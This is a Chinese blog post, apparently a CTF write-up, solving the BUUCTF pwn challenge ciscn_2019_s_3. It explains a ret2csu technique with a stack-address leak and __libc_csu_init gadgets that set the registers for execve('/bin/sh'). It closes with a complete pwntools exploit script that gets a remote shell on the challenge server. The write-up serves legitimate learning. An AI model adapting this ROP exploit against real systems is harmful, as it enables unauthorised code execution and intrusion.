pwnlearning

BUUCTF | ciscn_2019_s_3

用ret2csu思路做,利用csu初始化函数布置栈空间,控制寄存器的值来执行execve('/bin/sh') 获取 shell
1.checksec
图片

2.IDA
图片
图片

栈溢出,没找到后门函数,开了NX保护,以为是ret2libc,但是没有write和read函数的plt,got表,也就找不到libc基址

图片

观察到gadget函数,分别对rax赋予了0xf(sigret), 和0x3b(execve)
前者是另一种解法,我用的第二种

先找一下程序可直接利用的寄存器
图片
可以看到只有俩寄存器可以直接利用,一个rdi,一个rsi寄存器
查阅资料知,要执行execve,有几个关键的寄存器的值需要设置:
rax = 0x3b
rdi = &'/bin/sh\0'
rsi = 0
rdx = 0
前面三个都有了,还差rdx。。。。

那么就想到了利用__libc_csu_init这个函数,通过这个函数让rdx变为0
图片
利用到这条gadget:mov rdx,r13 即rdx=r13
怎么让r13=0,要经过下面的pop操作放值,然后ret回来到mov,然后赋值给rdx

注意一下,这里pop的6个寄存器不能随便取值,不能直接全取0,因为pop完你肯定要ret到前面的mov给寄存器进行赋值的,mov完后要call,call[r12+rbx*8],这里rbx=0,也就call的r12,call啥呢,call ret,ret上填充mov rax的地址,给rax赋值(execve)。所以r12的值要精心pop

构造ROP链,先找到栈空间地址。这里利用write函数的输出(泄露rbp的地址),通过gdb调试,计算rbp与输入字符串地址相对偏移为e108-dff0=0x118,也就是10进制的280,虽然rbp一直会变,但相对偏移不会变,rbp的位置可以直接泄露,再加上这个相对位移就是我们ROP链的起始地址了,这个地址是喂给rdi寄存器的,内容为binsh

图片

详情尽在exp:

点击查看代码
from pwn import *
context(arch='amd64',log_level='debug',os='linux')
p = remote("node5.buuoj.cn",25104)
 
rax_set = 0x04004E2 #pop rax 59 
p_csu = 0x040059A # csu里开始pop的地址
pop_rdi_ret = 0x00000000004005a3
mov_rdx_r13 = 0x0400580 #rdx = r13
syscall = 0x0400517
vuln = 0x04004ED
 
payload = b'/bin/sh\x00' + b'a'*8 + p64(vuln)#写入binsh
p.send(payload)
p.recv(0x20)
bin_sh=u64(p.recv(8))-0x118#binsh地址
print("[+][+][+][+] bin_sh_addr = ",hex(bin_sh))#泄露栈空间,binsh地址,输入字符串的地方

payload = b'/bin/sh\x00'*2 + p64(p_csu)
payload += p64(0) * 2 #rbx,rbp=0
payload += p64(bin_sh + 0x50)  #这里pop r12,因为rbx=0,call的r12
payload += p64(0) * 3#15(edi)随便设,13,14(rdx,rsi)要设为0
payload += p64(mov_rdx_r13) # ret到mov rdx,r13,good,rdx=r13=0
payload += p64(rax_set) +  p64(pop_rdi_ret) + p64(bin_sh)#设置rax(execve)和rdi(binsh)
payload += p64(syscall)
p.send(payload)
p.interactive()

posted on 2025-07-25 09:15  邪恶的帽子  阅读(39)  评论(0)    收藏  举报

导航